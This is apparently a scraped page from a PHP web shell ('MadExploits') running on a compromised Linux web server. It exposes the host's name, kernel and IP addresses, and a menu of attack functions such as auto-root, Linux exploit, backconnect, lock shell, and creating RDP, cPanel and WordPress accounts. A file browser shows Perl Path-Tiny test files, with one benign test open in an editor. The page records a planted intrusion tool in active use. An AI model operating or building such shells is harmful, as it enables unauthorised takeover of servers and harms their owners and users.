Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.191.103.151
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
.cpanplus /
5.16.3 /
build /
Path-Tiny-0.114 /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
data
[ DIR ]
drwxr-xr-x
fakelib
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
00-report-prereqs.dd
4.46
KB
-rw-r--r--
00-report-prereqs.t
5.77
KB
-rw-r--r--
README
214
B
-rw-r--r--
basename.t
880
B
-rw-r--r--
basic.t
5.87
KB
-rw-r--r--
children.t
1.11
KB
-rw-r--r--
chmod.t
1020
B
-rw-r--r--
digest.t
1.25
KB
-rw-r--r--
exception.t
1.26
KB
-rw-r--r--
exports.t
674
B
-rw-r--r--
filesystem.t
11.42
KB
-rw-r--r--
input_output.t
18.31
KB
-rw-r--r--
input_output_no_PU_UU.t
579
B
-rw-r--r--
input_output_no_UU.t
566
B
-rw-r--r--
locking.t
1.37
KB
-rw-r--r--
mkpath.t
947
B
-rw-r--r--
mutable_tree_while_iterating.t
1.43
KB
-rw-r--r--
normalize.t
898
B
-rw-r--r--
overloading.t
534
B
-rw-r--r--
parent.t
3.06
KB
-rw-r--r--
recurse.t
3.89
KB
-rw-r--r--
rel-abs.t
7.9
KB
-rw-r--r--
sig_die.t
533
B
-rw-r--r--
subsumes.t
3.16
KB
-rw-r--r--
symlinks.t
1.52
KB
-rw-r--r--
temp.t
2.56
KB
-rw-r--r--
visit.t
447
B
-rw-r--r--
zz-atomic.t
922
B
-rw-r--r--
zzz-spec.t
6.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mutable_tree_while_iterating.t
use strict; use warnings; use Test::More 0.88; use Path::Tiny; use lib 't/lib'; use TestUtils qw/exception tempd/; use Path::Tiny; my $wd = tempd; my @tree = qw( base/Bethlehem/XDG/gift_list.txt base/Vancouver/ETHER/.naughty base/Vancouver/ETHER/gift_list.txt base/New_York/XDG/gift_list.txt ); path($_)->touchpath for @tree; subtest 'iterator' => sub { my @files; my $iter = path('base')->iterator( { recurse => 1 } ); my $exception = exception { while ( my $path = $iter->() ) { $path->remove_tree if $path->child('.naughty')->is_file; push @files, $path if $path->is_file; } }; is( $exception, '', 'can remove directories while traversing' ); is_deeply( [ sort @files ], [ 'base/Bethlehem/XDG/gift_list.txt', 'base/New_York/XDG/gift_list.txt' ], 'remaining files', ); }; subtest 'visit' => sub { my @files; my $exception = exception { path('base')->visit( sub { my $path = shift; $path->remove_tree if $path->child('.naughty')->is_file; push @files, $path if $path->is_file; }, { recurse => 1 }, ); }; is( $exception, '', 'can remove directories while traversing' ); is_deeply( [ sort @files ], [ 'base/Bethlehem/XDG/gift_list.txt', 'base/New_York/XDG/gift_list.txt' ], 'remaining files', ); }; done_testing;
Close
